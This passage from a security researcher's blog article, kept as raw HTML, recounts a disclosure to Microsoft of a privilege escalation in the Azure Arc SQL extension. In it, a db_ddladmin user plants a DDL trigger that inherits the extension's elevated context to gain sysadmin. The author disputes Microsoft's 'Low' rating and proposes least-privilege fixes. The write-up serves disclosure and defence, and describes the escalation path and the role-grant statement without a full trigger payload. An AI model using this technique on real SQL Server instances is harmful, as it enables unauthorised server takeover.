context.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n\n<p><strong>Then, after more than a month (July 15, 2026), Microsoft classified the vulnerability as <em>Low<\/em><\/strong> <em><strong>severity.<\/strong><\/em> <strong>Their explanation was that exploitation requires membership in <code>db_ddladmin<\/code>, which it described as a highly privileged role not recommended for production use.&nbsp;<\/strong><\/p>\n\n\n\n<p>I\u2019ve to confess that I was very surprised to read that <code>db_ddladmin<\/code> is <em>not<\/em> recommended for production use.&nbsp;Microsoft also referred to documentation warning that members of the role can potentially elevate privileges by manipulating code that may later execute under a more privileged context.&nbsp;<\/p>\n\n\n\n<p>They concluded:&nbsp;<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>The case did not meet its bar for immediate servicing.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>No <a href=\"https:\/\/en.wikipedia.org\/wiki\/Common_Vulnerabilities_and_Exposures\" target=\"_blank\" rel=\"noreferrer noopener\">common vulnerabilities and exposures (CVE)<\/a> would be issued.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>MSRC would not continue tracking the issue.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>The report would be shared with the responsible product team.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n\n<h3 class=\"wp-block-heading\" id=\"h-a-comparison-with-a-previously-accepted-microsoft-case\">A comparison with a previously-accepted Microsoft case <\/h3>\n\n\n\n<p><strong>On July 16, 2026, I asked Microsoft to explain <em>why<\/em> this case was treated differently from another report (case 108226) that involved a similar exploitation pattern<\/strong>:<\/p>\n\n\n\n<p>1. A database principal created a DDL trigger.&nbsp;<\/p>\n\n\n\n<p>2. A Microsoft-managed elevated operation later fired the trigger.&nbsp;<\/p>\n\n\n\n<p>3. The trigger inherited the elevated context.&nbsp;<\/p>\n\n\n\n<p>4. The attacker escalated to <code>sysadmin<\/code>.&nbsp;<\/p>\n\n\n\n<p><strong>Microsoft acknowledged that the two cases shared the same exploit mechanism, but its distinction was based on the attacker&#8217;s starting permission.&nbsp;<\/strong><\/p>\n\n\n\n<p>According to Microsoft:&nbsp;<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Case 108226 began with <code>CONTROL<\/code> over a user database that Microsoft considered available to a low-trust tenant.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Case 121160 required <code>db_ddladmin<\/code>, which Microsoft considered inherently escalation-capable.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Case 108226 therefore crossed a security boundary, whereas case 121160 did <em>not<\/em>.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n\n<p><strong>Microsoft described the path from <code>db_ddladmin<\/code> to <code>sysadmin<\/code> as <em>expected<\/em>, rather than a security-boundary violation.<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-the-unanswered-question-nbsp-july-17-20-2026\">The unanswered question&nbsp;(July 17-20, 2026)<\/h3>\n\n\n\n<p><strong>I then asked a direct question:&nbsp;<em>If I reproduce the same Azure Arc vulnerability using only <code>CONTROL<\/code> in a database, would Microsoft classify it as Important, like case 108226?<\/em>&nbsp;<\/strong><\/p>\n\n\n\n<p>Microsoft did not directly answer, nor did they explain <em>why<\/em> the distinction between <code>CONTROL<\/code> and <code>db_ddladmin<\/code> should determine the outcome when both permissions allow the attacker to create the same database-level DDL trigger and exploit the same Microsoft-managed elevated operation.&nbsp;<\/p>\n\n\n\n<p>Microsoft\u2019s response was: <em>\u201cHello Fabiano, if you disagree with our assessment, please provide your rationale along with any supporting documentation for our review. Thank you, MSRC\u201d&nbsp;<\/em><\/p>\n\n\n\n<p>I repeated the same question and Microsoft&#8217;s response was that it was performing additional validation and would provide another update.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-microsoft-changes-the-emphasis-of-its-explanation-nbsp-july-29-2026\">Microsoft changes the emphasis of its explanation&nbsp;(July 29, 2026)<\/h3>\n\n\n\n<p>Microsoft later provided a longer response, stating that DDL-trigger privilege-escalation scenarios fall under SQL Server&#8217;s documented trigger security considerations.&nbsp;<\/p>\n\n\n\n<p>Furthermore, they said users and administrators are expected to follow published best practices to prevent trigger code from running under unintended elevated privileges. <strong>They therefore treated the behavior as <em>by design<\/em>.&nbsp;<\/strong><\/p>\n\n\n\n<p>However, Microsoft&#8217;s explanation of case 108226 (classified as <em>Important<\/em>) also changed in emphasis.&nbsp;<\/p>\n\n\n\n<p>The earlier response said the difference hinged entirely on the attacker&#8217;s initial permission, but the later response said case 108226 was fixed because an internal or backend operation owned by Microsoft caused trigger execution under privileges higher than were intended or required. Microsoft considered a fix appropriate and feasible for that service-owned operation.&nbsp;<\/p>\n\n\n\n<p>Microsoft\u2019s later explanation appears to distinguish between a backend operation hosted and operated within its service infrastructure, <em>and<\/em> an extension deployed on a customer-managed server. <\/p>\n\n\n\n<p>However, Azure Arc remains Microsoft software, performing a Microsoft-designed configuration workflow. The location where the component runs does <em>not<\/em> change the fact that the component invokes customer-controlled code while retaining excessive privileges.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-microsoft-s-argument-nbsp\">Microsoft&#8217;s argument&nbsp;<\/h2>\n\n\n\n<p>Microsoft&#8217;s assessment can be summarized as follows:&nbsp;<\/p>\n\n\n\n<p>1. <code>db_ddladmin<\/code> (or equivalent permission to create a trigger) is a highly privileged database role\/privilege.&nbsp;<\/p>\n\n\n\n<p>2. Users can create or modify executable database objects.&nbsp;<\/p>\n\n\n\n<p>3. Microsoft documents that such objects may later execute under elevated contexts.&nbsp;<\/p>\n\n\n\n<p>4. Administrators should therefore treat the role\/privilege carefully.&nbsp;<\/p>\n\n\n\n<p>5. Escalation through a DDL trigger is part of the documented SQL Server security model.&nbsp;<\/p>\n\n\n\n<p>6.&nbsp; The path from <code>db_ddladmin<\/code> (or equivalent) to <code>sysadmin<\/code> is, consequently, as expected. It does not represent a security-boundary violation.&nbsp;<\/p>\n\n\n\n<p>7.&nbsp; The issue is <em>Low severity and below the bar for immediate servicing<\/em>.&nbsp;<\/p>\n\n\n\n<p>To note, I do agree that users with permission to create or alter executable database objects can prepare code that becomes dangerous when invoked by a privileged principal. The list of what I <em>disagree<\/em> with, however, is much longer.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-why-i-disagree-with-microsoft-nbsp\">Why I disagree with Microsoft&nbsp;<\/h2>\n\n\n\n<p>Here&#8217;s what I disagree with Microsoft about, and why.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-db-ddladmin-or-equivalent-permission-to-create-a-trigger-is-not-sysadmin-nbsp\"><code>db_ddladmin<\/code> (or equivalent permission to create a trigger) is <em>not<\/em> <code>sysadmin<\/code>&nbsp;<\/h3>\n\n\n\n<p>A user with <code>db_ddladmin<\/code> permissions in a database (or equivalent permission to create a trigger), has powerful control over that database. They don&#8217;t, however, have unrestricted control over the SQL Server instance.&nbsp;<\/p>\n\n\n\n<p>If Microsoft considers this equivalent to <code>sysadmin<\/code>, SQL Server <em>should<\/em> explicitly treat it that way &#8211; but it doesn&#8217;t. The direct server-level escalation command fails <em>before<\/em> the Azure Arc operation, demonstrating the boundary more clearly than any documentation wording:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">ALTER SERVER ROLE [sysadmin]&nbsp;\nADD MEMBER [TestLogin1];&nbsp;<\/pre><\/div>\n\n\n\n<p>The login can&#8217;t execute this &#8211; but if the path to <code>sysadmin<\/code> were truly an expected privilege, it <em>would<\/em> be able to (and without needing to wait for a Microsoft service to enter the database with elevated authority.)<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-the-documentation-warns-privileged-callers-not-only-database-administrators-nbsp\">The documentation warns privileged callers, not only database administrators&nbsp;<\/h3>\n\n\n\n<p>Microsoft relies heavily on documentation explaining that code created by database users can be dangerous when executed by a more privileged context, something that applies directly to the Azure Arc SQL extension. <\/p>\n\n\n\n<p>On that, I agree. A privileged component that enters a database containing user-controlled executable objects must assume those objects are hostile, and the correct security response would be to:&nbsp;<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Use a constrained database-scoped identity.&nbsp;<br><\/li>\n\n\n\n<li>Reduce the component&#8217;s token.<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Avoid invoking attacker-controlled callbacks.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Validate the database state.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Disable or isolate unsafe extensibility during privileged operations.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Grant only the authority required for the specific task.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n\n<p>The correct response is <em>not<\/em>:&nbsp;<em>The attacker was allowed to create the callback, so the privileged service is not responsible for invoking it with excessive authority.<\/em>&nbsp;<\/p>\n\n\n\n<p><strong>That logic transfers responsibility <em>away<\/em> from the privileged component, even though the privileged component supplies the exact permission required to complete the attack!<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-the-argument-is-circular-nbsp\">The argument is circular&nbsp;<\/h3>\n\n\n\n<p>Microsoft&#8217;s reasoning can be reduced to:&nbsp;<em><code>db_ddladmin<\/code> can be dangerous because privileged code may execute objects created by the role.<\/em>&nbsp;The Azure Arc extension then does exactly that, executing privileged DDL in a database containing objects controlled by <code>db_ddladmin<\/code>.<\/p>\n\n\n\n<p>Microsoft then concludes:&nbsp;<em>Because this behavior is documented as dangerous, the resulting privilege escalation is expected.<\/em>&nbsp;<\/p>\n\n\n\n<p><strong>Overall, this is circular. The documentation <em>identifies<\/em> a dangerous pattern, the Arc extension <em>implements<\/em> the dangerous pattern, and Microsoft then uses the documentation describing the danger as justification for leaving the dangerous implementation.&nbsp;<\/strong><\/p>\n\n\n\n<p>Documentation can <em>warn<\/em> customers about a risk, but doesn&#8217;t convert an avoidable unsafe design into a safe one.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-the-attacker-does-not-possess-the-decisive-privilege-nbsp\">The attacker does not possess the decisive privilege&nbsp;<\/h3>\n\n\n\n<p>The attacker controls the trigger body.&nbsp;It doesn&#8217;t possess the authority needed to execute:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">ALTER SERVER ROLE [sysadmin]&nbsp;\nADD MEMBER [TestLogin1];<\/pre><\/div>\n\n\n\n<p>Azure Arc possesses that authority, and that&#8217;s how the exploit succeeds: <strong>Azure Arc invokes attacker-controlled code while retaining its authority.<\/strong>&nbsp;This is the decisive fact.<\/p>\n\n\n\n<p>With that in mind, the question is:&nbsp;<em>Should a Microsoft-managed service expose unrestricted server-level authority to code controlled by a database-scoped principal?<\/em>&nbsp;<\/p>\n\n\n\n<p><strong>My answer is no.&nbsp;<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-the-assessment-creates-an-unreasonable-customer-security-model-nbsp\">The assessment creates an unreasonable customer-security model&nbsp;<\/h3>\n\n\n\n<p>In Microsoft&#8217;s reasoning, customers must assume that granting <code>db_ddladmin<\/code> (or equivalent permission to create a trigger) in <em>any<\/em> database may eventually grant the recipient <code>sysadmin<\/code> whenever a sufficiently privileged Microsoft or third-party service performs DDL in that database.&nbsp;<\/p>\n\n\n\n<p>That&#8217;s a much broader security statement than saying the role can administer database DDL! It would mean organizations can&#8217;t safely delegate <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/learn\/schema-based-access-control-for-sql-server-databases\/\" target=\"_blank\" rel=\"noreferrer noopener\">database schema administration<\/a> while retaining central control over the SQL Server instance.&nbsp;<\/p>\n\n\n\n<p>Many production environments separate responsibilities:&nbsp;<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Application teams manage schemas in specific databases.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Database administrators manage the SQL Server instance.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Service accounts perform deployment or monitoring functions.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Platform teams configure Azure integrations.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Security teams maintain server-level controls.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n\n<p>A database-scoped administrator unexpectedly obtaining server-wide control destroys that separation.&nbsp;<\/p>\n\n\n\n<p><strong>Microsoft&#8217;s classification effectively places the burden on customers to anticipate every privileged product operation that might invoke every form of executable database metadata. This isn&#8217;t a realistic security model for a cloud-management extension.&nbsp;<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-by-design-is-not-the-same-as-secure-by-design-nbsp\">&#8220;By design&#8221; is not the same as &#8220;secure by design&#8221;&nbsp;<\/h3>\n\n\n\n<p>A behavior can be intentional, documented, and still unsafe.&nbsp;&#8220;By design&#8221; only answers one question:&nbsp;<em>Does the product behave as its developers currently expect?<\/em>&nbsp;<\/p>\n\n\n\n<p>It does not answer:&nbsp;<em>Is the design appropriate for a privileged service operating in attacker-influenceable security scopes?<\/em>&nbsp;<\/p>\n\n\n\n<p>The SQL Server trigger engine may be functioning exactly as designed, and perhaps the Azure Arc SQL extension is also performing its current workflow exactly as implemented.&nbsp;The vulnerability exists in how those designs interact.&nbsp;<\/p>\n\n\n\n<p>The trigger engine executes a trigger under the caller&#8217;s context, and Azure Arc supplies an unnecessarily powerful caller.&nbsp;The combination allows a database-scoped principal to seize server-level control &#8211; a security design problem even if every individual component follows its documented behavior.&nbsp;<\/p>\n\n\n\n<section id=\"my-first-block-block_ed304bbc0a0ecca89b99c0a9f4920463\" class=\"my-first-block alignwide\">\n    <div class=\"bg-brand-600 text-base-white py-5xl px-4xl rounded-sm bg-gradient-to-r from-brand-600 to-brand-500 red\">\n        <div class=\"gap-4xl items-start md:items-center flex flex-col md:flex-row justify-between\">\n            <div class=\"flex-1 col-span-10 lg:col-span-7\">\n                <h3 class=\"mt-0 font-display mb-2 text-display-sm\">Subscribe to the Simple Talk newsletter<\/h3>\n                <div class=\"child:last-of-type:mb-0\">\n                                            Get selected articles, event information, podcasts and other industry content delivered straight to your inbox.                                    <\/div>\n            <\/div>\n                                            <a href=\"https:\/\/www.red-gate.com\/simple-talk\/subscribe\/\" class=\"btn btn--secondary btn--lg\" aria-label=\"Subscribe: Subscribe to the Simple Talk newsletter\">Subscribe<\/a>\n                    <\/div>\n    <\/div>\n<\/section>\n\n\n<h2 class=\"wp-block-heading\" id=\"h-how-severe-is-this-vulnerability\">How severe is this vulnerability?<\/h2>\n\n\n\n<p><strong>Microsoft assessed the case as <em>Low<\/em>, but I don&#8217;t believe this reflects the technical impact.&nbsp;<\/strong><\/p>\n\n\n\n<p>The attack requires:&nbsp;<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>An authenticated SQL Server login or Windows principal.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Membership in <code>db_ddladmin<\/code>, or equivalent trigger-creation permissions, in one user database.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>An Azure Arc operation that performs privileged DDL inside that database.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n\n<p>All of these are meaningful preconditions and <em>should<\/em> reduce the severity compared with an unauthenticated remote compromise.&nbsp;They do not, however, reduce the final impact to <em>Low<\/em>.&nbsp;<\/p>\n\n\n\n<p>This is because, after exploitation, the attacker obtains:&nbsp;<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Full SQL Server administrative authority.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Access outside the originally authorized database.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Persistent control over the instance.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>The ability to compromise confidentiality, integrity, and availability.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n\n<p>This is persistent <code>sysadmin<\/code> compromise, so classifying the technical severity as <em>Low<\/em> is much harder to justify.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-what-s-the-root-cause-of-the-vulnerability\">What&#8217;s the root cause of the vulnerability?<\/h2>\n\n\n\n<p><strong>The root cause of the vulnerability is simple: the Azure Arc SQL extension performs database-scoped operations while retaining a security context capable of server-level administration.<\/strong>&nbsp;<\/p>\n\n\n\n<p>The vulnerable design is:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">Highly privileged Arc identity \n             | \n             v \nEnters a customer-controlled database \n             | \n             v \nExecutes DDL that fires customer-controlled triggers \n             | \n             v \nTrigger inherits privileged caller context \n             | \n             v \nTrigger performs server-level operations<\/pre><\/div>\n\n\n\n<p>The extension fails to establish a safe privilege boundary <em>before<\/em> invoking extensible database functionality.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-how-can-microsoft-fix-the-azure-arc-ddl-trigger-privilege-escalation\">How can Microsoft fix the Azure Arc DDL trigger privilege escalation?<\/h2>\n\n\n\n<p><strong>Here&#8217;s what I suggest Microsoft do to fix this vulnerability.<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-1-use-a-constrained-database-scoped-principal-nbsp\">1. Use a constrained database-scoped principal&nbsp;<\/h3>\n\n\n\n<p>Before executing DDL in a user database, the extension should switch to a dedicated database-scoped principal with only the permissions required for that operation.&nbsp;Conceptually:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE [TargetDatabase]; \nGO \n \nEXECUTE AS USER = 'SQLArcRestrictedUser'; \nGO \n \n-- Perform only the required database-level operations. \n \nREVERT; \nGO<\/pre><\/div>\n\n\n\n<p>The principal should not have an associated server token capable of modifying server roles or executing unrestricted server-level operations.&nbsp;Using a purpose-built restricted user would be preferable to relying broadly on <code><a href=\"https:\/\/www.red-gate.com\/simple-talk\/other\/securing-access-administrator\/\" target=\"_blank\" rel=\"noreferrer noopener\">dbo<\/a><\/code>.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-2-separate-server-level-and-database-level-work-nbsp\">2. Separate server-level and database-level work&nbsp;<\/h3>\n\n\n\n<p>The extension should divide its workflow into distinct phases:&nbsp;<\/p>\n\n\n\n<p>1. Perform required server-level configuration under a server-level identity.&nbsp;<\/p>\n\n\n\n<p>2. Drop the server-level execution token.&nbsp;<\/p>\n\n\n\n<p>3. Enter each database using a constrained database user.&nbsp;<\/p>\n\n\n\n<p>4. Perform only the required database-scoped changes.&nbsp;<\/p>\n\n\n\n<p>5. Return to the server context only after leaving the customer-controlled database.&nbsp;<\/p>\n\n\n\n<p><strong>A component should <em>not<\/em> carry unrestricted authority into a lower-trust extensibility boundary unless strictly necessary.&nbsp;<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-3-adopt-least-privilege-by-default-nbsp\">3. Adopt least privilege by default&nbsp;<\/h3>\n\n\n\n<p><strong>Least privilege should not require customers to discover and enable a safer optional configuration after deployment.&nbsp;The secure execution model should be the default.&nbsp;<\/strong><\/p>\n\n\n\n<p>Legacy compatibility may require a transition period, but this doesn&#8217;t justify making the more dangerous execution model the permanent default.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-4-review-all-azure-arc-database-interactions-nbsp\">4. Review all Azure Arc database interactions&nbsp;<\/h3>\n\n\n\n<p>Microsoft should review any Azure Arc extension workflow that:&nbsp;<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Executes DDL in user databases.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Executes <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/theory-and-design\/data-control-language-aka-security\/#:~:text=The%20DML%20%28Data%20Manipulation%20Language%29%20uses%20those%20declarations%20to%20change%20their%20contents%20or%20to%20invoke%20them%2E%20It%20does%20not%20change%20structures%20and%20schema%20objects\" target=\"_blank\" rel=\"noreferrer noopener\">DML (data manipulation language)<\/a> that can invoke user-controlled code.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Creates or modifies database principals.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Changes role memberships.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Grants or revokes permissions.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Performs inventory or assessment operations.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Deploys objects.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Updates extension-owned objects.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Executes stored procedures in customer-controlled databases.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n\n<p>DDL triggers are just one callback mechanism. The broader security requirement is that privileged service operations must <em>not<\/em> unintentionally invoke customer-controlled code with excessive authority.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-5-clearly-document-the-privileged-execution-model-nbsp\">5. Clearly document the privileged execution model&nbsp;<\/h3>\n\n\n\n<p>Microsoft should revise the Azure Arc-enabled SQL Server documentation to clearly describe the complete security context used during onboarding, permission reconciliation, feature configuration, and extension updates.&nbsp;<\/p>\n\n\n\n<p>The current documentation describes different parts of the execution model across several pages, but doesn&#8217;t present them together in a way that allows customers to understand the <em>actual privilege boundary<\/em>.&nbsp;<\/p>\n\n\n\n<p>For example, Microsoft\u2019s documentation for the <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/sql-server\/azure-arc\/permissions-granted-agent-extension\" target=\"_blank\" rel=\"noreferrer noopener\">roles created by the Azure Extension for SQL Server<\/a> states that, in non-least-privilege mode, the extension:&nbsp;<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Creates the <code>SQLArcExtensionServerRole<\/code> server role.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Creates the <code>SQLArcExtensionUserRole<\/code> database role.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Adds <code><a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/setting-up-your-sql-server-agent-correctly\/#:~:text=Local%20System\" target=\"_blank\" rel=\"noreferrer noopener\">NT AUTHORITY\\SYSTEM<\/a><\/code> to those roles.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Maps <code>NT AUTHORITY\\SYSTEM<\/code> into each database.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Grants the permissions required by the enabled features.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n\n<p>The same page says that the Deployer must connect to SQL Server as <code>NT AUTHORITY\\SYSTEM<\/code>. It then lists permissions such as <code>CONNECT SQL<\/code>, <code>VIEW SERVER STATE<\/code>, <code>VIEW ANY DEFINITION<\/code>, <code>VIEW ANY DATABASE<\/code>, and <code>CONNECT ANY DATABASE<\/code>. <\/p>\n\n\n\n<p>Read in isolation, this can reasonably give customers the impression that the extension connects and performs its work using only the restricted permissions assigned through these Arc-specific roles.&nbsp;<\/p>\n\n\n\n<p>However, another Microsoft document explains a materially different and much more security-sensitive part of the process&#8230;<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"h-the-contradiction\">The contradiction<\/h4>\n\n\n\n<p>The <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/sql-server\/azure-arc\/configure-least-privilege\" target=\"_blank\" rel=\"noreferrer noopener\">least-privilege configuration<\/a> documentation states that:&nbsp;<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li><code>Deployer.exe<\/code> always runs under the <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/services\/localsystem-account\" target=\"_blank\" rel=\"noreferrer noopener\">Windows LocalSystem<\/a> account.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>The SQL Server service account must be a member of the <code>sysadmin<\/code> fixed server role.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li><code>Deployer.exe<\/code> impersonates the SQL Server service account when connecting to SQL Server.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>The privileged connection is used to add or remove permissions in server-level and database-level roles.&nbsp;<\/li>\n<\/ul>\n<\/div>\n\n\n<p>Microsoft even advises customers who do <em>not<\/em> want the SQL Server service account to remain permanently in <code>sysadmin<\/code> to grant it <code>sysadmin<\/code> temporarily, allow <code>Deployer.exe<\/code> to run, then remove it again.&nbsp;<\/p>\n\n\n\n<p>This materially changes the security assumptions customers must make when Azure Arc performs operations inside their databases.&nbsp;<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"h-how-i-would-make-the-documentation-clearer\">How I would make the documentation clearer<\/h4>\n\n\n\n<p>So, in my opinion, the documentation should explicitly distinguish between:&nbsp;<\/p>\n\n\n<div class=\"block-core-list\">\n<ol start=\"1\" class=\"wp-block-list\">\n<li>The Windows process identity running <code>Deployer.exe<\/code>.&nbsp;<\/li>\n<\/ol>\n<\/div>\n\n<div class=\"block-core-list\">\n<ol start=\"2\" class=\"wp-block-list\">\n<li>The Windows identity used for integrated SQL Server authentication.&nbsp;<\/li>\n<\/ol>\n<\/div>\n\n<div class=\"block-core-list\">\n<ol start=\"3\" class=\"wp-block-list\">\n<li>Any SQL Server service account impersonated by the Deployer.&nbsp;<\/li>\n<\/ol>\n<\/div>\n\n<div class=\"block-core-list\">\n<ol start=\"4\" class=\"wp-block-list\">\n<li>The effective SQL Server login token used to execute each operation.&nbsp;<\/li>\n<\/ol>\n<\/div>\n\n<div class=\"block-core-list\">\n<ol start=\"5\" class=\"wp-block-list\">\n<li>The temporary or permanent server-level permissions available to that token.&nbsp;<\/li>\n<\/ol>\n<\/div>\n\n<div class=\"block-core-list\">\n<ol start=\"6\" class=\"wp-block-list\">\n<li>The restricted permissions later assigned to the Arc extension service account.&nbsp;<\/li>\n<\/ol>\n<\/div>\n\n<div class=\"block-core-list\">\n<ol start=\"7\" class=\"wp-block-list\">\n<li>The difference between the bootstrap Deployer and the long-running Extension Service.&nbsp;<\/li>\n<\/ol>\n<\/div>\n\n\n<p>Currently, all references to <code>LocalSystem<\/code>, <code>NT AUTHORITY\\SYSTEM<\/code>, the <a href=\"https:\/\/www.gethynellis.com\/2023\/05\/how-to-easily-identify-the-service-account-of-a-sql-server\/\" target=\"_blank\" rel=\"noreferrer noopener\">SQL Server service account<\/a>, Arc-specific roles, and least-privilege permissions are distributed across different documents. The documentation does not clearly show <em>which<\/em> identity executes each SQL statement, or when the operation runs with <code>sysadmin<\/code> or equivalent server-level authority.&nbsp;<\/p>\n\n\n\n<p>This ambiguity is especially important because Microsoft\u2019s own <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/triggers\/manage-trigger-security\" target=\"_blank\" rel=\"noreferrer noopener\">SQL Server trigger-security<\/a> documentation warns that DDL triggers execute under the security context of the principal that caused the triggering statement. Microsoft provides an example in which a database user creates a trigger that grants them <code>CONTROL SERVER<\/code> when a <code>sysadmin<\/code> later executes an otherwise legitimate DDL statement.&nbsp;<\/p>\n\n\n\n<p>Azure Arc performs exactly the kind of privileged DDL operation described in that warning. It enters user databases, creates users and roles, changes role membership, and grants or revokes permissions. These statements can fire database-level DDL triggers.&nbsp;<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" 